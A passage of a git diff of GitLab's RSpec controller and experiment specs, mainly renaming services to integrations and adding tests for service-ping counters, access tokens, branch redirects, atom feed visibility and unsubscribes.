@@ -37,5 +46,14 @@ RSpec.describe Projects::ServiceHookLogsController do
expect_any_instance_of(described_class).to receive(:set_hook_execution_notice)
expect(subject).to redirect_to(edit_project_service_path(project, integration))
end
+
+ it 'renders a 404 if the hook does not exist' do
+ log_params
+ integration.service_hook.destroy!
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
end
end
diff --git a/spec/controllers/projects/service_ping_controller_spec.rb b/spec/controllers/projects/service_ping_controller_spec.rb
new file mode 100644
index 00000000000..e6afaadc75f
--- /dev/null
+++ b/spec/controllers/projects/service_ping_controller_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::ServicePingController do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ sign_in(user) if user
+ end
+
+ shared_examples 'counter is not increased' do
+ context 'when the user is not authenticated' do
+ let(:user) { nil }
+
+ it 'returns 302' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:found)
+ end
+ end
+
+ context 'when the user does not have access to the project' do
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ shared_examples 'counter is increased' do |counter|
+ context 'when the authenticated user has access to the project' do
+ let(:user) { project.owner }
+
+ it 'increments the usage counter' do
+ expect do
+ subject
+ end.to change { Gitlab::UsageDataCounters::WebIdeCounter.total_count(counter) }.by(1)
+ end
+ end
+ end
+
+ describe 'POST #web_ide_clientside_preview' do
+ subject { post :web_ide_clientside_preview, params: { namespace_id: project.namespace, project_id: project } }
+
+ context 'when web ide clientside preview is enabled' do
+ before do
+ stub_application_setting(web_ide_clientside_preview_enabled: true)
+ end
+
+ it_behaves_like 'counter is not increased'
+ it_behaves_like 'counter is increased', 'WEB_IDE_PREVIEWS_COUNT'
+ end
+
+ context 'when web ide clientside preview is not enabled' do
+ let(:user) { project.owner }
+
+ before do
+ stub_application_setting(web_ide_clientside_preview_enabled: false)
+ end
+
+ it 'returns 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'POST #web_ide_pipelines_count' do
+ subject { post :web_ide_pipelines_count, params: { namespace_id: project.namespace, project_id: project } }
+
+ it_behaves_like 'counter is not increased'
+ it_behaves_like 'counter is increased', 'WEB_IDE_PIPELINES_COUNT'
+ end
+end
diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb
index f8474ab1082..baf3bde83bd 100644
--- a/spec/controllers/projects/services_controller_spec.rb
+++ b/spec/controllers/projects/services_controller_spec.rb
@@ -6,10 +6,12 @@ RSpec.describe Projects::ServicesController do
include JiraServiceHelper
include AfterNextHelpers
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user) }
- let(:service) { create(:jira_service, project: project) }
- let(:service_params) { { username: 'username', password: 'password', url: 'http://example.com' } }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
+
+ let(:integration) { jira_integration }
+ let(:integration_params) { { username: 'username', password: 'password', url: 'http://example.com' } }
before do
sign_in(user)
@@ -17,9 +19,9 @@ RSpec.describe Projects::ServicesController do
end
describe '#test' do
- context 'when can_test? returns false' do
+ context 'when the integration is not testable' do
it 'renders 404' do
- allow_any_instance_of(Integration).to receive(:can_test?).and_return(false)
+ allow_any_instance_of(Integration).to receive(:testable?).and_return(false)
put :test, params: project_params
@@ -28,10 +30,10 @@ RSpec.describe Projects::ServicesController do
end
context 'when validations fail' do
- let(:service_params) { { active: 'true', url: '' } }
+ let(:integration_params) { { active: 'true', url: '' } }
it 'returns error messages in JSON response' do
- put :test, params: project_params(service: service_params)
+ put :test, params: project_params(service: integration_params)
expect(json_response['message']).to eq 'Validations failed.'
expect(json_response['service_response']).to include "Url can't be blank"
@@ -39,15 +41,17 @@ RSpec.describe Projects::ServicesController do
end
end
- context 'success' do
+ context 'when successful' do
context 'with empty project' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
+ context 'with chat notification integration' do
+ let_it_be(:teams_integration) { project.create_microsoft_teams_integration(webhook: 'http://webhook.com') }
- context 'with chat notification service' do
- let(:service) { project.create_microsoft_teams_service(webhook: 'http://webhook.com') }
+ let(:integration) { teams_integration }
it 'returns success' do
- allow_any_instance_of(::MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
+ allow_next(::MicrosoftTeams::Notifier).to receive(:ping).and_return(true)
put :test, params: project_params
@@ -56,28 +60,28 @@ RSpec.describe Projects::ServicesController do
end
it 'returns success' do
- stub_jira_service_test
+ stub_jira_integration_test
expect(Gitlab::HTTP).to receive(:get).with('/rest/api/2/serverInfo', any_args).and_call_original
- put :test, params: project_params(service: service_params)
+ put :test, params: project_params(service: integration_params)
expect(response).to be_successful
end
end
it 'returns success' do
- stub_jira_service_test
+ stub_jira_integration_test
expect(Gitlab::HTTP).to receive(:get).with('/rest/api/2/serverInfo', any_args).and_call_original
- put :test, params: project_params(service: service_params)
+ put :test, params: project_params(service: integration_params)
expect(response).to be_successful
end
context 'when service is configured for the first time' do
- let(:service_params) do
+ let(:integration_params) do
{
'active' => '1',
'push_events' => '1',
@@ -108,17 +112,17 @@ RSpec.describe Projects::ServicesController do
def do_put
put :test, params: project_params(id: 'buildkite',
- service: service_params)
+ service: integration_params)
end
end
end
- context 'failure' do
+ context 'when unsuccessful' do
it 'returns an error response when the integration test fails' do
stub_request(:get, 'http://example.com/rest/api/2/serverInfo')
.to_return(status: 404)
- put :test, params: project_params(service: service_params)
+ put :test, params: project_params(service: integration_params)
expect(response).to be_successful
expect(json_response).to eq(
@@ -130,7 +134,7 @@ RSpec.describe Projects::ServicesController do
end
context 'with the Slack integration' do
- let_it_be(:service) { build(:slack_service) }
+ let_it_be(:integration) { build(:integrations_slack) }
it 'returns an error response when the URL is blocked' do
put :test, params: project_params(service: { webhook: 'http://127.0.0.1' })
@@ -163,17 +167,17 @@ RSpec.describe Projects::ServicesController do
describe 'PUT #update' do
describe 'as HTML' do
- let(:service_params) { { active: true } }
- let(:params) { project_params(service: service_params) }
+ let(:integration_params) { { active: true } }
+ let(:params) { project_params(service: integration_params) }
let(:message) { 'Jira settings saved and active.' }
- let(:redirect_url) { edit_project_service_path(project, service) }
+ let(:redirect_url) { edit_project_service_path(project, integration) }
before do
put :update, params: params
end
- shared_examples 'service update' do
+ shared_examples 'integration update' do
it 'redirects to the correct url with a flash message' do
expect(response).to redirect_to(redirect_url)
expect(flash[:notice]).to eq(message)
@@ -181,61 +185,61 @@ RSpec.describe Projects::ServicesController do
end
context 'when param `active` is set to true' do
- let(:params) { project_params(service: service_params, redirect_to: redirect) }
+ let(:params) { project_params(service: integration_params, redirect_to: redirect) }
context 'when redirect_to param is present' do
let(:redirect) { '/redirect_here' }
let(:redirect_url) { redirect }
- it_behaves_like 'service update'
+ it_behaves_like 'integration update'
end
context 'when redirect_to is an external domain' do
let(:redirect) { 'http://examle.com' }
- it_behaves_like 'service update'
+ it_behaves_like 'integration update'
end
context 'when redirect_to param is an empty string' do
let(:redirect) { '' }
- it_behaves_like 'service update'
+ it_behaves_like 'integration update'
end
end
context 'when param `active` is set to false' do
- let(:service_params) { { active: false } }
- let(:message) { 'Jira settings saved, but not active.' }
+ let(:integration_params) { { active: false } }
+ let(:message) { 'Jira settings saved, but not active.' }
- it_behaves_like 'service update'
+ it_behaves_like 'integration update'
end
- context 'wehn param `inherit_from_id` is set to empty string' do
- let(:service_params) { { inherit_from_id: '' } }
+ context 'when param `inherit_from_id` is set to empty string' do
+ let(:integration_params) { { inherit_from_id: '' } }
it 'sets inherit_from_id to nil' do
- expect(service.reload.inherit_from_id).to eq(nil)
+ expect(integration.reload.inherit_from_id).to eq(nil)
end
end
- context 'wehn param `inherit_from_id` is set to some value' do
- let(:instance_service) { create(:jira_service, :instance) }
- let(:service_params) { { inherit_from_id: instance_service.id } }
+ context 'when param `inherit_from_id` is set to some value' do
+ let(:instance_service) { create(:jira_integration, :instance) }
+ let(:integration_params) { { inherit_from_id: instance_service.id } }
it 'sets inherit_from_id to value' do
- expect(service.reload.inherit_from_id).to eq(instance_service.id)
+ expect(integration.reload.inherit_from_id).to eq(instance_service.id)
end
end
end
describe 'as JSON' do
before do
- stub_jira_service_test
- put :update, params: project_params(service: service_params, format: :json)
+ stub_jira_integration_test
+ put :update, params: project_params(service: integration_params, format: :json)
end
context 'when update succeeds' do
- let(:service_params) { { url: 'http://example.com' } }
+ let(:integration_params) { { url: 'http://example.com' } }
it 'returns JSON response with no errors' do
expect(response).to be_successful
@@ -244,59 +248,67 @@ RSpec.describe Projects::ServicesController do
end
context 'when update fails' do
- let(:service_params) { { url: '' } }
+ let(:integration_params) { { url: '' } }
it 'returns JSON response with errors' do
expect(response).to have_gitlab_http_status(:unprocessable_entity)
expect(json_response).to include(
'active' => true,
- 'errors' => { 'url' => ['must be a valid URL', %{can't be blank}] }
+ 'errors' => { 'url' => ['must be a valid URL', %(can't be blank)] }
)
end
end
end
- context 'Prometheus service' do
- let!(:service) { create(:prometheus_service, project: project) }
- let(:service_params) { { manual_configuration: '1', api_url: 'http://example.com' } }
+ context 'with Prometheus integration' do
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
- context 'feature flag :settings_operations_prometheus_service is enabled' do
+ let(:integration) { prometheus_integration }
+ let(:integration_params) { { manual_configuration: '1', api_url: 'http://example.com' } }
+
+ context 'when feature flag :settings_operations_prometheus_service is enabled' do
before do
stub_feature_flags(settings_operations_prometheus_service: true)
end
it 'redirects user back to edit page with alert' do
- put :update, params: project_params.merge(service: service_params)
+ put :update, params: project_params.merge(service: integration_params)
- expect(response).to redirect_to(edit_project_service_path(project, service))
- expected_alert = "You can now manage your Prometheus settings on the <a href=\"#{project_settings_operations_path(project)}\">Operations</a> page. Fields on this page has been deprecated."
+ expect(response).to redirect_to(edit_project_service_path(project, integration))
+ expected_alert = [
+ "You can now manage your Prometheus settings on the",
+ %(<a href="#{project_settings_operations_path(project)}">Operations</a> page.),
+ "Fields on this page have been deprecated."
+ ].join(' ')
expect(controller).to set_flash.now[:alert].to(expected_alert)
end
- it 'does not modify service' do
- expect { put :update, params: project_params.merge(service: service_params) }.not_to change { project.prometheus_service.reload.attributes }
+ it 'does not modify integration' do
+ expect { put :update, params: project_params.merge(service: integration_params) }
+ .not_to change { project.prometheus_integration.reload.attributes }
end
end
- context 'feature flag :settings_operations_prometheus_service is disabled' do
+ context 'when feature flag :settings_operations_prometheus_service is disabled' do
before do
stub_feature_flags(settings_operations_prometheus_service: false)
end
- it 'modifies service' do
- expect { put :update, params: project_params.merge(service: service_params) }.to change { project.prometheus_service.reload.attributes }
+ it 'modifies integration' do
+ expect { put :update, params: project_params.merge(service: integration_params) }
+ .to change { project.prometheus_integration.reload.attributes }
end
end
end
end
describe 'GET #edit' do
- context 'Jira service' do
- let(:service_param) { 'jira' }
+ context 'with Jira service' do
+ let(:integration_param) { 'jira' }
before do
- get :edit, params: project_params(id: service_param)
+ get :edit, params: project_params(id: integration_param)
end
context 'with approved services' do
@@ -306,25 +318,30 @@ RSpec.describe Projects::ServicesController do
end
end
- context 'Prometheus service' do
- let(:service_param) { 'prometheus' }
+ context 'with Prometheus service' do
+ let(:integration_param) { 'prometheus' }
- context 'feature flag :settings_operations_prometheus_service is enabled' do
+ context 'when feature flag :settings_operations_prometheus_service is enabled' do
before do
stub_feature_flags(settings_operations_prometheus_service: true)
- get :edit, params: project_params(id: service_param)
+ get :edit, params: project_params(id: integration_param)
end
it 'renders deprecation warning notice' do
- expected_alert = "You can now manage your Prometheus settings on the <a href=\"#{project_settings_operations_path(project)}\">Operations</a> page. Fields on this page has been deprecated."
+ expected_alert = [
+ "You can now manage your Prometheus settings on the",
+ %(<a href="#{project_settings_operations_path(project)}">Operations</a> page.),
+ "Fields on this page have been deprecated."
+ ].join(' ')
+
expect(controller).to set_flash.now[:alert].to(expected_alert)
end
end
- context 'feature flag :settings_operations_prometheus_service is disabled' do
+ context 'when feature flag :settings_operations_prometheus_service is disabled' do
before do
stub_feature_flags(settings_operations_prometheus_service: false)
- get :edit, params: project_params(id: service_param)
+ get :edit, params: project_params(id: integration_param)
end
it 'does not render deprecation warning notice' do
@@ -340,7 +357,7 @@ RSpec.describe Projects::ServicesController do
opts.reverse_merge(
namespace_id: project.namespace,
project_id: project,
- id: service.to_param
+ id: integration.to_param
)
end
end
diff --git a/spec/controllers/projects/settings/access_tokens_controller_spec.rb b/spec/controllers/projects/settings/access_tokens_controller_spec.rb
index 2a7e3d0b322..834a9e276f9 100644
--- a/spec/controllers/projects/settings/access_tokens_controller_spec.rb
+++ b/spec/controllers/projects/settings/access_tokens_controller_spec.rb
@@ -61,6 +61,14 @@ RSpec.describe Projects::Settings::AccessTokensController do
expect { subject }.not_to change { User.count }
end
end
+
+ context 'with custom access level' do
+ let(:access_token_params) { { name: 'Nerd bot', scopes: ["api"], expires_at: Date.today + 1.month, access_level: 20 } }
+
+ subject { post :create, params: { namespace_id: project.namespace, project_id: project }.merge(project_access_token: access_token_params) }
+
+ it_behaves_like 'project access tokens available #create'
+ end
end
describe '#revoke', :sidekiq_inline do
diff --git a/spec/controllers/projects/tree_controller_spec.rb b/spec/controllers/projects/tree_controller_spec.rb
index 8e4e275bdbe..143516e4712 100644
--- a/spec/controllers/projects/tree_controller_spec.rb
+++ b/spec/controllers/projects/tree_controller_spec.rb
@@ -3,8 +3,9 @@
require 'spec_helper'
RSpec.describe Projects::TreeController do
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user) }
+ let(:project) { create(:project, :repository, previous_default_branch: previous_default_branch) }
+ let(:previous_default_branch) { nil }
+ let(:user) { create(:user) }
before do
sign_in(user)
@@ -55,6 +56,20 @@ RSpec.describe Projects::TreeController do
it { is_expected.to respond_with(:not_found) }
end
+ context "renamed default branch, valid file" do
+ let(:id) { 'old-default-branch/encoding/' }
+ let(:previous_default_branch) { 'old-default-branch' }
+
+ it { is_expected.to redirect_to("/#{project.full_path}/-/tree/#{project.default_branch}/encoding/") }
+ end
+
+ context "renamed default branch, invalid file" do
+ let(:id) { 'old-default-branch/invalid-path/' }
+ let(:previous_default_branch) { 'old-default-branch' }
+
+ it { is_expected.to redirect_to("/#{project.full_path}/-/tree/#{project.default_branch}/invalid-path/") }
+ end
+
context "valid empty branch, invalid path" do
let(:id) { 'empty-branch/invalid-path/' }
diff --git a/spec/controllers/projects/usage_ping_controller_spec.rb b/spec/controllers/projects/usage_ping_controller_spec.rb
deleted file mode 100644
index 9ace072d561..00000000000
--- a/spec/controllers/projects/usage_ping_controller_spec.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Projects::UsagePingController do
- let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user) }
-
- before do
- sign_in(user) if user
- end
-
- shared_examples 'counter is not increased' do
- context 'when the user is not authenticated' do
- let(:user) { nil }
-
- it 'returns 302' do
- subject
-
- expect(response).to have_gitlab_http_status(:found)
- end
- end
-
- context 'when the user does not have access to the project' do
- it 'returns 404' do
- subject
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- shared_examples 'counter is increased' do |counter|
- context 'when the authenticated user has access to the project' do
- let(:user) { project.owner }
-
- it 'increments the usage counter' do
- expect do
- subject
- end.to change { Gitlab::UsageDataCounters::WebIdeCounter.total_count(counter) }.by(1)
- end
- end
- end
-
- describe 'POST #web_ide_clientside_preview' do
- subject { post :web_ide_clientside_preview, params: { namespace_id: project.namespace, project_id: project } }
-
- context 'when web ide clientside preview is enabled' do
- before do
- stub_application_setting(web_ide_clientside_preview_enabled: true)
- end
-
- it_behaves_like 'counter is not increased'
- it_behaves_like 'counter is increased', 'WEB_IDE_PREVIEWS_COUNT'
- end
-
- context 'when web ide clientside preview is not enabled' do
- let(:user) { project.owner }
-
- before do
- stub_application_setting(web_ide_clientside_preview_enabled: false)
- end
-
- it 'returns 404' do
- subject
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
- end
-
- describe 'POST #web_ide_pipelines_count' do
- subject { post :web_ide_pipelines_count, params: { namespace_id: project.namespace, project_id: project } }
-
- it_behaves_like 'counter is not increased'
- it_behaves_like 'counter is increased', 'WEB_IDE_PIPELINES_COUNT'
- end
-end
diff --git a/spec/controllers/projects_controller_spec.rb b/spec/controllers/projects_controller_spec.rb
index ce229fb861a..46c17d6a6fe 100644
--- a/spec/controllers/projects_controller_spec.rb
+++ b/spec/controllers/projects_controller_spec.rb
@@ -119,11 +119,6 @@ RSpec.describe ProjectsController do
get :activity, params: { namespace_id: project.namespace, id: project, format: :json }
expect(json_response['html']).to eq("\n")
- end
-
- it 'filters out invisible event when calculating the count' do
- get :activity, params: { namespace_id: project.namespace, id: project, format: :json }
-
expect(json_response['count']).to eq(0)
end
end
@@ -464,12 +459,6 @@ RSpec.describe ProjectsController do
post :create, params: { project: project_params }
end
-
- it 'tracks a created event for the new_repo experiment', :experiment do
- expect(experiment(:new_repo, :candidate)).to track(:project_created).on_next_instance
-
- post :create, params: { project: project_params }
- end
end
describe 'POST #archive' do
@@ -1484,6 +1473,30 @@ RSpec.describe ProjectsController do
end
end
+ context 'GET show.atom' do
+ let_it_be(:public_project) { create(:project, :public) }
+ let_it_be(:event) { create(:event, :commented, project: public_project, target: create(:note, project: public_project)) }
+ let_it_be(:invisible_event) { create(:event, :commented, project: public_project, target: create(:note, :confidential, project: public_project)) }
+
+ it 'filters by calling event.visible_to_user?' do
+ expect(EventCollection).to receive_message_chain(:new, :to_a).and_return([event, invisible_event])
+ expect(event).to receive(:visible_to_user?).and_return(true)
+ expect(invisible_event).to receive(:visible_to_user?).and_return(false)
+
+ get :show, format: :atom, params: { id: public_project, namespace_id: public_project.namespace }
+
+ expect(response).to render_template('xml.atom')
+ expect(assigns(:events)).to eq([event])
+ end
+
+ it 'filters by calling event.visible_to_user?' do
+ get :show, format: :atom, params: { id: public_project, namespace_id: public_project.namespace }
+
+ expect(response).to render_template('xml.atom')
+ expect(assigns(:events)).to eq([event])
+ end
+ end
+
describe 'GET resolve' do
shared_examples 'resolvable endpoint' do
it 'redirects to the project page' do
diff --git a/spec/controllers/registrations/experience_levels_controller_spec.rb b/spec/controllers/registrations/experience_levels_controller_spec.rb
index 6b8ab3ec715..ad145264bb8 100644
--- a/spec/controllers/registrations/experience_levels_controller_spec.rb
+++ b/spec/controllers/registrations/experience_levels_controller_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Registrations::ExperienceLevelsController do
end
it { is_expected.to have_gitlab_http_status(:ok) }
- it { is_expected.to render_template('layouts/signup_onboarding') }
+ it { is_expected.to render_template('layouts/minimal') }
it { is_expected.to render_template(:show) }
end
end
diff --git a/spec/controllers/registrations_controller_spec.rb b/spec/controllers/registrations_controller_spec.rb
index 81486c310d4..72aa9038c3e 100644
--- a/spec/controllers/registrations_controller_spec.rb
+++ b/spec/controllers/registrations_controller_spec.rb
@@ -187,38 +187,6 @@ RSpec.describe RegistrationsController do
end
end
- context 'when it is part of our invite_signup_page_interaction experiment', :experiment do
- let_it_be(:member) { create(:project_member, :invited, invite_email: user_params.dig(:user, :email)) }
-
- let(:originating_member_id) { member.id }
- let(:session_params) do
- {
- invite_email: user_params.dig(:user, :email),
- originating_member_id: originating_member_id
- }
- end
-
- context 'when member exists from the session key value' do
- it 'tracks the experiment' do
- expect(experiment(:invite_signup_page_interaction)).to track(:form_submission)
- .with_context(actor: member)
- .on_next_instance
-
- subject
- end
- end
-
- context 'when member does not exist from the session key value' do
- let(:originating_member_id) { -1 }
-
- it 'tracks the experiment' do
- expect(experiment(:invite_signup_page_interaction)).not_to track(:form_submission)
-
- subject
- end
- end
- end
-
context 'when invite email matches email used on registration' do
let(:session_params) { { invite_email: user_params.dig(:user, :email) } }
diff --git a/spec/controllers/repositories/git_http_controller_spec.rb b/spec/controllers/repositories/git_http_controller_spec.rb
index 4eede594bb9..04d5008cb34 100644
--- a/spec/controllers/repositories/git_http_controller_spec.rb
+++ b/spec/controllers/repositories/git_http_controller_spec.rb
@@ -34,18 +34,6 @@ RSpec.describe Repositories::GitHttpController do
end
end
- context 'when project_statistics_sync feature flag is disabled' do
- before do
- stub_feature_flags(project_statistics_sync: false, disable_git_http_fetch_writes: false)
- end
-
- it 'updates project statistics async for projects' do
- expect(ProjectDailyStatisticsWorker).to receive(:perform_async)
-
- send_request
- end
- end
-
it 'updates project statistics sync for projects' do
stub_feature_flags(disable_git_http_fetch_writes: false)
diff --git a/spec/controllers/root_controller_spec.rb b/spec/controllers/root_controller_spec.rb
index 01ff646274a..dbf1b3baf25 100644
--- a/spec/controllers/root_controller_spec.rb
+++ b/spec/controllers/root_controller_spec.rb
@@ -128,11 +128,31 @@ RSpec.describe RootController do
end
end
- context 'who uses the default dashboard setting' do
- it 'renders the default dashboard' do
- get :index
+ context 'who uses the default dashboard setting', :aggregate_failures do
+ render_views
+
+ context 'with customize homepage banner' do
+ it 'renders the default dashboard' do
+ get :index
+
+ expect(response).to render_template 'root/index'
+ expect(response.body).to have_css('.js-customize-homepage-banner')
+ end
+ end
+
+ context 'without customize homepage banner' do
+ before do
+ Users::DismissUserCalloutService.new(
+ container: nil, current_user: user, params: { feature_name: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE }
+ ).execute
+ end
+
+ it 'renders the default dashboard' do
+ get :index
- expect(response).to render_template 'dashboard/projects/index'
+ expect(response).to render_template 'root/index'
+ expect(response.body).not_to have_css('.js-customize-homepage-banner')
+ end
end
end
end
diff --git a/spec/controllers/users/terms_controller_spec.rb b/spec/controllers/users/terms_controller_spec.rb
index 0acc3008187..30b8eb5a958 100644
--- a/spec/controllers/users/terms_controller_spec.rb
+++ b/spec/controllers/users/terms_controller_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Users::TermsController do
include TermsHelper
let_it_be(:user) { create(:user) }
+
let(:term) { create(:term) }
before do
diff --git a/spec/controllers/users/unsubscribes_controller_spec.rb b/spec/controllers/users/unsubscribes_controller_spec.rb
new file mode 100644
index 00000000000..5670c951e59
--- /dev/null
+++ b/spec/controllers/users/unsubscribes_controller_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::UnsubscribesController do
+ let!(:user) { create :user, email: 'me@example.com' }
+
+ describe "show" do
+ it "responds with success" do
+ get :show, params: { email: Base64.urlsafe_encode64('me@example.com') }
+
+ assert_response :success
+ end
+
+ it "behaves the same if email address isn't known in the system" do
+ get :show, params: { email: Base64.urlsafe_encode64('i@dont_exists.com') }
+
+ assert_response :success
+ end
+ end
+
+ describe "create" do
+ it "unsubscribes the connected user" do
+ post :create, params: { email: Base64.urlsafe_encode64('me@example.com') }
+
+ assert user.reload.admin_email_unsubscribed_at
+ end
+
+ # Don't tell if the email does not exists
+ it "behaves the same if email address isn't known in the system" do
+ post :create, params: { email: Base64.urlsafe_encode64('i@dont_exists.com') }
+
+ assert_response :redirect
+ end
+ end
+end
diff --git a/spec/db/schema_spec.rb b/spec/db/schema_spec.rb
index 8b02cfa30ab..18f2f7b54c4 100644
--- a/spec/db/schema_spec.rb
+++ b/spec/db/schema_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe 'Database schema' do
compliance_management_frameworks: %w[group_id],
commit_user_mentions: %w[commit_id],
deploy_keys_projects: %w[deploy_key_id],
- deployments: %w[deployable_id environment_id user_id],
+ deployments: %w[deployable_id user_id],
draft_notes: %w[discussion_id commit_id],
epics: %w[updated_by_id last_edited_by_id state_id],
events: %w[target_id],
@@ -56,6 +56,7 @@ RSpec.describe 'Database schema' do
ldap_group_links: %w[group_id],
members: %w[source_id created_by_id],
merge_requests: %w[last_edited_by_id state_id],
+ merge_request_diff_commits: %w[commit_author_id committer_id],
namespaces: %w[owner_id parent_id],
notes: %w[author_id commit_id noteable_id updated_by_id resolved_by_id confirmed_by_id discussion_id],
notification_settings: %w[source_id],
@@ -264,6 +265,18 @@ RSpec.describe 'Database schema' do
end
end
+ context 'index names' do
+ it 'disallows index names with a _ccnew[0-9]* suffix' do
+ # During REINDEX operations, Postgres generates a temporary index with a _ccnew[0-9]* suffix
+ # Since indexes are being considered temporary and subject to removal if they stick around for longer. See Gitlab::Database::Reindexing.
+ #
+ # Hence we disallow adding permanent indexes with this suffix.
+ problematic_indexes = Gitlab::Database::PostgresIndex.match("#{Gitlab::Database::Reindexing::ReindexConcurrently::TEMPORARY_INDEX_PATTERN}$").all
+
+ expect(problematic_indexes).to be_empty
+ end
+ end
+
private
def retrieve_columns_name_with_jsonb
diff --git a/spec/deprecation_toolkit_env.rb b/spec/deprecation_toolkit_env.rb
index 00d66ff3cdc..8e06dcb8c75 100644
--- a/spec/deprecation_toolkit_env.rb
+++ b/spec/deprecation_toolkit_env.rb
@@ -55,11 +55,8 @@ module DeprecationToolkitEnv
# one by one
def self.allowed_kwarg_warning_paths
%w[
- activerecord-6.0.3.7/lib/active_record/migration.rb
- activesupport-6.0.3.7/lib/active_support/cache.rb
- activerecord-6.0.3.7/lib/active_record/relation.rb
asciidoctor-2.0.12/lib/asciidoctor/extensions.rb
- attr_encrypted-3.1.0/lib/attr_encrypted/adapters/active_record.rb
+ gitlab-labkit-0.20.0/lib/labkit/correlation/grpc/client_interceptor.rb
]
end
diff --git a/spec/experiments/application_experiment_spec.rb b/spec/experiments/application_experiment_spec.rb
index 22c436e4159..9c03910cf66 100644
--- a/spec/experiments/application_experiment_spec.rb
+++ b/spec/experiments/application_experiment_spec.rb
@@ -3,11 +3,10 @@
require 'spec_helper'
RSpec.describe ApplicationExperiment, :experiment do
- subject { described_class.new('namespaced/stub') }
+ subject { described_class.new('namespaced/stub', **context) }
- let(:feature_definition) do
- { name: 'namespaced_stub', type: 'experiment', group: 'group::adoption', default_enabled: false }
- end
+ let(:context) { {} }
+ let(:feature_definition) { { name: 'namespaced_stub', type: 'experiment', default_enabled: false } }
around do |example|
Feature::Definition.definitions[:namespaced_stub] = Feature::Definition.new('namespaced_stub.yml', feature_definition)
@@ -19,19 +18,13 @@ RSpec.describe ApplicationExperiment, :experiment do
allow(subject).to receive(:enabled?).and_return(true)
end
- it "naively assumes a 1x1 relationship to feature flags for tests" do
- expect(Feature).to receive(:persist_used!).with('namespaced_stub')
-
- described_class.new('namespaced/stub')
- end
-
it "doesn't raise an exception without a defined control" do
# because we have a default behavior defined
expect { experiment('namespaced/stub') { } }.not_to raise_error
end
- describe "enabled" do
+ describe "#enabled?" do
before do
allow(subject).to receive(:enabled?).and_call_original
@@ -63,103 +56,104 @@ RSpec.describe ApplicationExperiment, :experiment do
end
end
- describe "publishing results" do
- it "doesn't record, track or push data to the client if we shouldn't track", :snowplow do
+ describe "#publish" do
+ it "doesn't track or publish to the client or database if we can't track", :snowplow do
allow(subject).to receive(:should_track?).and_return(false)
- subject.record!
- expect(subject).not_to receive(:record_experiment)
- expect(subject).not_to receive(:track)
- expect(Gon).not_to receive(:push)
+ expect(subject).not_to receive(:publish_to_client)
+ expect(subject).not_to receive(:publish_to_database)
- subject.publish(:action)
+ subject.publish
expect_no_snowplow_event
end
- describe 'recording the experiment' do
- it 'does not record the experiment if we do not tell it to' do
- expect(subject).not_to receive(:record_experiment)
-
- subject.publish
- end
-
- it 'records the experiment if we tell it to' do
- subject.record!
-
- expect(subject).to receive(:record_experiment)
-
- subject.publish
- end
- end
-
it "tracks the assignment" do
expect(subject).to receive(:track).with(:assignment)
subject.publish
end
- it "pushes the experiment knowledge into the client using Gon" do
- expect(Gon).to receive(:push).with({ experiment: { 'namespaced/stub' => subject.signature } }, true)
+ it "publishes the to the client" do
+ expect(subject).to receive(:publish_to_client)
subject.publish
end
- it "handles when Gon raises exceptions (like when it can't be pushed into)" do
- expect(Gon).to receive(:push).and_raise(NoMethodError)
+ it "publishes to the database if we've opted for that" do
+ subject.record!
+
+ expect(subject).to receive(:publish_to_database)
- expect { subject.publish }.not_to raise_error
+ subject.publish
end
- end
- it "can exclude from within the block" do
- expect(described_class.new('namespaced/stub') { |e| e.exclude! }).to be_excluded
- end
+ describe "#publish_to_client" do
+ it "adds the data into Gon" do
+ signature = { key: '86208ac54ca798e11f127e8b23ec396a', variant: 'control' }
+ expect(Gon).to receive(:push).with({ experiment: { 'namespaced/stub' => hash_including(signature) } }, true)
- describe 'recording the experiment subject' do
- using RSpec::Parameterized::TableSyntax
+ subject.publish_to_client
+ end
- subject { described_class.new('namespaced/stub', nil, **context) }
+ it "handles when Gon raises exceptions (like when it can't be pushed into)" do
+ expect(Gon).to receive(:push).and_raise(NoMethodError)
- before do
- subject.record!
+ expect { subject.publish_to_client }.not_to raise_error
+ end
end
- context 'when providing a compatible context' do
- where(:context_key, :object_type) do
- :namespace | :namespace
- :group | :namespace
- :project | :project
- :user | :user
- :actor | :user
+ describe "#publish_to_database" do
+ using RSpec::Parameterized::TableSyntax
+ let(:context) { { context_key => context_value }}
+
+ before do
+ subject.record!
end
- with_them do
- let(:context) { { context_key => build(object_type) }}
+ context "when there's a usable subject" do
+ where(:context_key, :context_value, :object_type) do
+ :namespace | build(:namespace) | :namespace
+ :group | build(:namespace) | :namespace
+ :project | build(:project) | :project
+ :user | build(:user) | :user
+ :actor | build(:user) | :user
+ end
- it 'records the experiment and the experiment subject from the context' do
- expect { subject.publish }.to change(Experiment, :count).by(1)
+ with_them do
+ it "creates an experiment and experiment subject record" do
+ expect { subject.publish_to_database }.to change(Experiment, :count).by(1)
- expect(Experiment.last.name).to eq('namespaced/stub')
- expect(ExperimentSubject.last.send(object_type)).to eq(context[context_key])
